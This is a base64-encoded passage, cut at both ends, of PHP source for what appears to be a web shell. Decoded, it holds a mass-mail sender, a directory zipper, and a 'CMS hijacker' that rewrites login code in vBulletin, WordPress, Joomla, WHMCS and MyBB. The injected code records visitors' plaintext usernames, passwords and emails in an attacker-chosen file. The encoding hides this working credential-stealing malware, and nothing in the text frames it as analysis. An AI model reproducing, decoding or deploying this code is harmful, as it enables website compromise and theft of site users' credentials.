oX19aVzVqYjJSbGNnKCRjb250ZW50KSk7DQokdWlkID0gbWQ1KHVuaXFpZCh0aW1lKCkpKTsNCiRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsNCiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7DQokaGVhZGVycyAuPSAiVG86ICIgLiAkbWFpbF90by4gIiAoICIuJG1haWxfdG8uIiApIFxyXG4iOw0KJGhlYWRlcnMgLj0gIlJlcGx5LVRvOiAiLiRtYWlsX2Zyb20uIlxyXG4iOw0KJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHVpZC4iXCJcclxuXHJcbiI7DQokaGVhZGVycyAuPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOw0KJGhlYWRlcnMgLj0gJ1gtTWFpbGVyOiBwaHAnIC4gIlxyXG4iOw0KJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC10eXBlOnRleHQvcGxhaW47IGNoYXJzZXQ9aXNvLTg4NTktMVxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogN2JpdFxyXG5cclxuIjsNCiRtYWlsX2NvbnRlbnQgLj0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiLS0iLiR1aWQuIlxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07IG5hbWU9XCIiLiRmaWxlbmFtZS4iXCJcclxuIjsNCiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOw0KJG1haWxfY29udGVudCAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCJcclxuXHJcbiI7DQokbWFpbF9jb250ZW50IC49ICRjb250ZW50LiJcclxuXHJcbiI7DQokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOw0KfWVsc2V7DQokaGVhZGVycyAgPSAiRnJvbTogIiAuICRtYWlsX2Zyb20uICIgKCAiLiRtYWlsX2Zyb20uIiApIFxyXG4iOw0KJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsNCiRoZWFkZXJzIC49ICdSZXBseS1UbzogJy4kbWFpbF9mcm9tLicnIC4gIlxyXG4iOw0KJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04JyAuICJcclxuIjsNCiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7DQokaGVhZGVycyAuPSAnWC1NYWlsZXI6IHBocCcgLiAiXHJcbiI7DQp9DQppZihlbXB0eSgkY291bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsNCmlmKCFlbXB0eSgkbWFpbF9mcm9tKSl7ZWNobyBfX3ByZSgpOw0KZm9yKCRpPTE7JGk8PSRjb3VudF9tYWlsOyRpKyspew0KaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCwkbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7DQp9fWVsc2V7X19hbGVydCgiSW52YWxpZCBNYWlsIEZyb20gISIpO30NCn1lbHNle19fYWxlcnQoIkludmFsaWQgTWFpbCBUbyAhIik7fQ0KfQ0KZWNobygnPC9kaXY+Jyk7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhemlwZXIoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDgsOSwxMCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENvbXByZXNzb3IgfDwvZGl2PjwvcD4NCjxmb3JtIG9uU3VibWl0PSJnKFwnemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyIgc2l6ZT0iNjAiLz4NCjxkaXYgY2xhc3M9InR4dGZvbnQiPlNhdmUgRGlyOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InppcGZpbGUiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nYWxmYS56aXAiIHNpemU9IjYwIi8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iemlwZXIiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICgkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jykpew0KJGRpcnppcCA9ICRfUE9TVFsnYWxmYTMnXTsNCiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOw0KaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpJiYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCd8fCFfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKSl7DQokY29kZT0naWYoIWV4dGVuc2lvbl9sb2FkZWQoXCd6aXBcJyl8fCFmaWxlX2V4aXN0cygkc291cmNlKSl7cmV0dXJuIGZhbHNlO30kemlwPW5ldyBaaXBBcmNoaXZlKCk7aWYoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLFpJUEFSQ0hJVkU6OkNSRUFURSkpe3JldHVybiBmYWxzZTt9JHNvdXJjZT1zdHJfcmVwbGFjZShcJ1xcXFxcJyxcJy9cJyxyZWFscGF0aCgkc291cmNlKSk7aWYoaXNfZGlyKCRzb3VyY2UpPT09dHJ1ZSl7JGZpbGVzPW5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkc291cmNlKSxSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTtmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7JGZpbGU9c3RyX3JlcGxhY2UoXCdcXFxcXCcsXCcvXCcsJGZpbGUpO2lmKGluX2FycmF5KHN1YnN0cigkZmlsZSxzdHJycG9zKCRmaWxlLFwnL1wnKSsxKSxhcnJheShcJy5cJyxcJy4uXCcpKSljb250aW51ZTskZmlsZT1yZWFscGF0aCgkZmlsZSk7aWYoaXNfZGlyKCRmaWxlKT09PXRydWUpeyR6aXAtPmFkZEVtcHR5RGlyKHN0cl9yZXBsYWNlKCRzb3VyY2UuXCcvXCcsXCdcJywkZmlsZS5cJy9cJykpO31lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7JHppcC0+YWRkRnJvbVN0cmluZyhzdHJfcmVwbGFjZSgkc291cmNlLlwnL1wnLFwnXCcsJGZpbGUpLGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7fX19ZWxzZSBpZihpc19maWxlKCRzb3VyY2UpPT09dHJ1ZSl7JHppcC0+YWRkRnJvbVN0cmluZyhiYXNlbmFtZSgkc291cmNlKSxmaWxlX2dldF9jb250ZW50cygkc291cmNlKSk7fXJldHVybiAkemlwLT5jbG9zZSgpOyc7DQokbmV3ZnVuYyA9IGNyZWF0ZV9mdW5jdGlvbignJHNvdXJjZSwkZGVzdGluYXRpb24nLCAkY29kZSk7DQppZigkbmV3ZnVuYygkZGlyemlwLCAkemlwZmlsZSkpew0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOw0KfWVsc2V7ZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJyZWQiPkVSUk9SISEhLi4uPC9mb250PjwvcD48L2NlbnRlcj4nO30NCn1lbHNlew0KYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgPiAvZGV2L251bGwgJiIpOw0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPlBsZWFzZSBXYWl0IEZvciAxIG1pbnV0ZXMgQU5EIENoZWNrIHRoaXMgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjxicj5CZWNhdXNlIFdlIEV4ZWN1dGVkIFRoZSBDb21tYW5kIGluIFRoZSBiYWNrZ3JvdW5kICE8L3A+PC9jZW50ZXI+JzsNCn19DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWNtc2hpamFja2VyKCl7DQphbGZhaGVhZCgpOw0KQWxmYU51bSg1LDYsNyw4LDksMTApOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPg0KPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDbXMgSGlqYWNrZXIgfDwvZGl2Pjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdjbXNoaWphY2tlclwnLG51bGwsdGhpcy5jbXNoaS52YWx1ZSx0aGlzLnNhdmV0by52YWx1ZSxcJz4+XCcsdGhpcy5jbXNwYXRoLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5DTVM6IDxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMHB4OyIgbmFtZT0iY21zaGkiPic7DQokY21fYXJyYXkgPSBhcnJheSgidmIiPT4idkJ1bGxldGluIiwid3AiPT4id29yZHByZXNzIiwiam9tIj0+Impvb21sYSIsIndobWNzIj0+IndobWNzIiwibXliYiI9PiJteWJiIiwiaXBiIj0+ImlwYm9hcmQiLCJwaHBiYiI9PiJwaHBiYiIpOw0KZm9yZWFjaCgkY21fYXJyYXkgYXMgJGtleT0+JHZhbCllY2hvICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nOw0KZWNobygiPC9zZWxlY3Q+Iik7DQplY2hvICcgUGF0aCBpbnN0YWxsZWQgY21zOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNtc3BhdGgiIHBsYWNlaG9sZGVyPSJleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC92YnVsbGV0aW4vIj4NClNhdmVUbzogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJzYXZldG8iIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nYWxmYS50eHQiPjwvZm9udD4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZm9ybT48L2NlbnRlcj48YnI+JzsNCiRjbXMgPSAkX1BPU1RbJ2FsZmExJ107DQokc2F2ZXRvID0gJF9QT1NUWydhbGZhMiddOw0KJGNtc3BhdGggPSAkX1BPU1RbJ2FsZmE0J107DQppZighZW1wdHkoJGNtcykgQU5EICFlbXB0eSgkc2F2ZXRvKSBBTkQgJF9QT1NUWydhbGZhNCddIEFORCAkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7DQplY2hvIF9fcHJlKCk7DQphbGZhSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdmV0byk7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pew0Kc3dpdGNoKCRjbXMpew0KY2FzZSAidmIiOg0KaGlqYWNrdkJ1bGxldGluKCRjbXNwYXRoLCRzYXZldG8pOw0KYnJlYWs7DQpjYXNlICJ3cCI6DQpoaWphY2t3cCgkY21zcGF0aCwkc2F2ZXRvKTsNCmJyZWFrOw0KY2FzZSAiam9tIjoNCmhpamFja0pvb21sYSgkY21zcGF0aCwkc2F2ZXRvKTsNCmJyZWFrOw0KY2FzZSAid2htY3MiOg0KaGlqYWNrV2htY3MoJGNtc3BhdGgsJHNhdmV0byk7DQpicmVhazsNCmNhc2UgIm15YmIiOg0KaGlqYWNrTXliYigkY21zcGF0aCwkc2F2ZXRvKTsNCmJyZWFrOw0KY2FzZSAiaXBiIjoNCmhpamFja0lQQigkY21zcGF0aCwkc2F2ZXRvKTsNCmJyZWFrOw0KY2FzZSAicGhwYmIiOg0KaGlqYWNrUEhQQkIoJGNtc3BhdGgsJHNhdmV0byk7DQpicmVhazsNCmRlZmF1bHQ6DQplY2hvICJlcnJvciEiOw0KYnJlYWs7DQp9DQp9DQpmdW5jdGlvbiBoaWphY2t2QnVsbGV0aW4oJHBhdGgsJHNhdmV0byl7DQokY29kZT0nJGFsZmFfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fdXNlcm5hbWUiXSk7JGFsZmFfcGFzc3dvcmQgPSAkdmJ1bGxldGluLT5HUENbInZiX2xvZ2luX3Bhc3N3b3JkIl07JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9Ijskc3FsX3F1ZXJ5ID0gJGRiLT5xdWVyeV9yZWFkKCJTRUxFQ1QgKiBGUk9NICIgLiBUQUJMRV9QUkVGSVggLiAidXNlciBXSEVSRSBgdXNlcm5hbWVgPVwnIiAuICRhbGZhX3VzZXJuYW1lIC4gIlwnIik7d2hpbGUoJHJvdyA9ICRkYi0+ZmV0Y2hfYXJyYXkoJHNxbF9xdWVyeSkpe2lmKHN0cmxlbigkYWxmYV9wYXNzd29yZCkgPiAxIEFORCBzdHJsZW4oJGFsZmFfdXNlcm5hbWUpID4gMSl7JGZwMSA9IEBmb3BlbigkYWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcDEsICRhbGZhX3VzZXJuYW1lIC4gXCcgOiBcJyAuICAkYWxmYV9wYXNzd29yZC4iICgiIC4gJHJvd1siZW1haWwiXSAuICIpXG4iKTtAZmNsb3NlKCRmcDEpOyAkZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319JzsNCiRjbGVhcnB3ID0gJ2RlZmluZWQoXCdESVNBQkxFX1BBU1NXT1JEX0NMRUFSSU5HXCcpJzsNCiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsNCiRsb2dpbiA9ICRwYXRoLiIvbG9naW4ucGhwIjsNCiRjbGFzcyA9ICRwYXRoLiIvaW5jbHVkZXMvY2xhc3NfYm9vdHN0cmFwLnBocCI7DQokZG9sb2dpbiA9ICdkb19sb2dpbl9yZWRpcmVjdCgpOyc7DQokZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRkb2xvZ2luOw0KJGV2aWxfY2xhc3MgPSAidHJ1ZSI7DQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgQGlzX2ZpbGUoJGNsYXNzKSBBTkQgQGlzX3dyaXRhYmxlKCRjbGFzcykpew0KJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsNCiRkYXRhX2NsYXNzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjbGFzcyk7DQppZihzdHJzdHIoJGRhdGFfbG9naW4sICRkb2xvZ2luKSBBTkQgc3Ryc3RyKCRkYXRhX2NsYXNzLCAkY2xlYXJwdykpew0KJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZG9sb2dpbiwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOw0KJGNsYXNzX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkY2xlYXJwdywkZXZpbF9jbGFzcywgJGRhdGFfY2xhc3MpOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dpbiwgJGxvZ2luX3JlcGxhY2UpOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRjbGFzcywgJGNsYXNzX3JlcGxhY2UpOw0KaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrd3AoJHBhdGgsJHNhdmV0byl7DQokY29kZSA9ICckYWxmYV9maWxlPSJ7c2F2ZXRvX3BhdGh9IjskZnAgPSBmb3BlbigkYWxmYV9maWxlLCAiYSsiKTtmd3JpdGUoJGZwLCAkX1BPU1RbXCdsb2dcJ10uIiA6ICIuJF9QT1NUW1wncHdkXCddLiIgKCIuKCR1c2VyLT51c2VyX2VtYWlsKS4iKVxuIik7ZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOw0KJHJlZGlyZWN0X3dwID0gJ2lmICggIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiAhJHJlYXV0aCApIHsnOw0KJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOw0KJGxvZ2luPSRwYXRoLiIvd3AtbG9naW4ucGhwIjsNCiRldmlsX2xvZ2luID0gIlx0Ii4kcmVkaXJlY3Rfd3AuIlxuXHQiLiRjb2RlOw0KaWYoQGlzX2ZpbGUoJGxvZ2luKSBBTkQgQGlzX3dyaXRhYmxlKCRsb2dpbikpew0KJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsNCmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJHJlZGlyZWN0X3dwKSl7DQokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRyZWRpcmVjdF93cCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2dpbiwgJGxvZ2luX3JlcGxhY2UpOw0KaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrSm9vbWxhKCRwYXRoLCRzYXZldG8pew0KJGNvZGUgPSAnPD9waHAgamltcG9ydChcJ2pvb21sYS51c2VyLmF1dGhlbnRpY2F0aW9uXCcpOyRBbGZhX2F1dGggPSAmIEpBdXRoZW50aWNhdGlvbjo6Z2V0SW5zdGFuY2UoKTskQWxmYV9kYXRhID0gYXJyYXkoXCd1c2VybmFtZVwnPT4kX1BPU1RbXCd1c2VybmFtZVwnXSxcJ3Bhc3N3b3JkXCc9PiRfUE9TVFtcJ3Bhc3N3ZFwnXSk7JEFsZmFfb3B0aW9ucyA9IGFycmF5KCk7JEFsZmFfcmVzcG9uc2UgPSAkQWxmYV9hdXRoLT5hdXRoZW50aWNhdGUoJEFsZmFfZGF0YSwgJEFsZmFfb3B0aW9ucyk7aWYoJEFsZmFfcmVzcG9uc2UtPnN0YXR1cyA9PSAxKXskYWxmYV9maWxlPSJ7c2F2ZXRvX3BhdGh9IjskZnA9QGZvcGVuKCRhbGZhX2ZpbGUsImErIik7QGZ3cml0ZSgkZnAsICRBbGZhX3Jlc3BvbnNlLT51c2VybmFtZS4iOiIuJF9QT1NUW1wncGFzc3dkXCddLiIgKCAiLiRBbGZhX3Jlc3BvbnNlLT5lbWFpbC4iIClcbiIpO0BmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO30/Pic7DQokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7DQokY29tcD0kcGF0aC4iL2FkbWluaXN0cmF0b3IvY29tcG9uZW50cy9jb21fbG9naW4vIjsNCmlmKEBpc19maWxlKCRjb21wLiIvbG9naW4ucGhwIikpew0KJGxvZ2luID0gJGNvbXAuIi9sb2dpbi5waHAiOw0KfWVsc2VpZihAaXNfZmlsZSgkY29tcC4iL2FkbWluLmxvZ2luLnBocCIpKXsNCiRsb2dpbiA9ICRjb21wLiIvYWRtaW4ubG9naW4ucGhwIjsNCn1lbHNlew0KJGxvZ2luID0gJyc7DQp9DQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgJGxvZ2luICE9ICcnKXsNCiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7DQokZXZpbF9sb2dpbiA9ICRjb2RlLiJcbiIuJGRhdGFfbG9naW47DQpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkZXZpbF9sb2dpbik7DQpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsNCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrV2htY3MoJHBhdGgsJHNhdmV0byl7DQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX1BPU1RbXCd1c2VybmFtZVwnXSkgQU5EIGlzc2V0KCRfUE9TVFtcJ3Bhc3N3b3JkXCddKSBBTkQgIWVtcHR5KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgIWVtcHR5KCRfUE9TVFtcJ3Bhc3N3b3JkXCddKSl7aWYoJGFsZmFfY29ubmVjdD1AbXlzcWxpX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCwkZGJfbmFtZSkpeyRhbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGFsZmFfdW5hbWUgPSBAJF9QT1NUW1wndXNlcm5hbWVcJ107JGFsZmFfcHcgPSBAJF9QT1NUW1wncGFzc3dvcmRcJ107aWYoaXNzZXQoJF9QT1NUW1wnbGFuZ3VhZ2VcJ10pKXskYWxmYV9xID0gIlNFTEVDVCAqIEZST00gdGJsYWRtaW5zIFdIRVJFIGB1c2VybmFtZWAgPSBcJyRhbGZhX3VuYW1lXCcgQU5EIGBwYXNzd29yZGAgPSBcJyIubWQ1KCRhbGZhX3B3KS4iXCciOyRhZG1pbiA9IHRydWU7fWVsc2V7JGFsZmFfcSA9ICJTRUxFQ1QgKiBGUk9NIHRibGNsaWVudHMgV0hFUkUgYGVtYWlsYCA9IFwnJGFsZmFfdW5hbWVcJyI7JGFkbWluID0gZmFsc2U7fSRhbGZhX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRhbGZhX2Nvbm5lY3QsICRhbGZhX3EpO2lmKG15c3FsaV9udW1fcm93cygkYWxmYV9xdWVyeSkgPiAwICl7JHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkYWxmYV9xdWVyeSk7JGFsbG93ID0gdHJ1ZTtpZighJGFkbWluKXskX19zYWx0ID0gZXhwbG9kZShcJzpcJywgJHJvd1tcJ3Bhc3N3b3JkXCddKTskX19lbmNQVyA9IG1kNSgkX19zYWx0WzFdLiRfUE9TVFtcJ3Bhc3N3b3JkXCddKS5cJzpcJy4kX19zYWx0WzFdO2lmKCRyb3dbXCdwYXNzd29yZFwnXSA9PSAkX19lbmNQVyl7JGFsbG93ID0gdHJ1ZTskcm93W1wndXNlcm5hbWVcJ10gPSAkcm93W1wnZW1haWxcJ107fWVsc2V7JGFsbG93ID0gZmFsc2U7fX1pZigkYWxsb3cpeyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJHJvd1tcJ3VzZXJuYW1lXCddIC4gXCcgOiBcJyAuICAkYWxmYV9wdy4iICgiIC4gJHJvd1siZW1haWwiXSAuICIpIDogIi4oJGFkbWluID8gXCdpc19hZG1pblwnIDogXCdpc191c2VyXCcpLiJcbiIpO0BmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZndyaXRlKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fX19Pz4nOw0KJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOw0KJGNvbmY9JHBhdGguIi9jb25maWd1cmF0aW9uLnBocCI7DQppZihAaXNfZmlsZSgkY29uZikgQU5EIEBpc193cml0YWJsZSgkY29uZikpew0KJGRhdGFfY29uZiA9IEBmaWxlX2dldF9jb250ZW50cygkY29uZik7DQppZighc3Ryc3RyKCRkYXRhX2NvbmYsJz8+JykpJGNvZGUgPSAnPz4nLiRjb2RlOw0KJGV2aWxfY29uZiA9ICRkYXRhX2NvbmYuIlxuIi4kY29kZTsNCkBmaWxlX3B1dF9jb250ZW50cygkY29uZiwgJGV2aWxfY29uZik7DQpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsNCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrTXliYigkcGF0aCwkc2F2ZXRvKXsNCiRjb2RlID0gJyRhbGZhX3EgPSAkZGItPnF1ZXJ5KCJTRUxFQ1QgYGVtYWlsYCBGUk9NICIuVEFCTEVfUFJFRklYLiJ1c2VycyBXSEVSRSBgdXNlcm5hbWVgID0gXCciLiR1c2VyW1wndXNlcm5hbWVcJ10uIlwnIik7JGFsZmFfZmV0Y2ggPSAkZGItPmZldGNoX2FycmF5KCRhbGZhX3EpOyRhbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkdXNlcltcJ3VzZXJuYW1lXCddLiIgOiAiLiAkdXNlcltcJ3Bhc3N3b3JkXCddLiIgKCAiLiRhbGZhX2ZldGNoW1wnZW1haWxcJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSgkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsNCiRmaW5kID0gJyRsb2dpbmhhbmRsZXItPmNvbXBsZXRlX2xvZ2luKCk7JzsNCiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsNCiRsb2dpbj0kcGF0aC4iL21lbWJlci5waHAiOw0KJGV2aWxfbG9naW4gPSAiXHQiLiRjb2RlLiJcblx0Ii4kZmluZDsNCmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsNCiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7DQppZihzdHJzdHIoJGRhdGFfbG9naW4sICRmaW5kKSl7DQokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7DQpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7DQpoaWphY2tPdXRwdXQoMCwkc2F2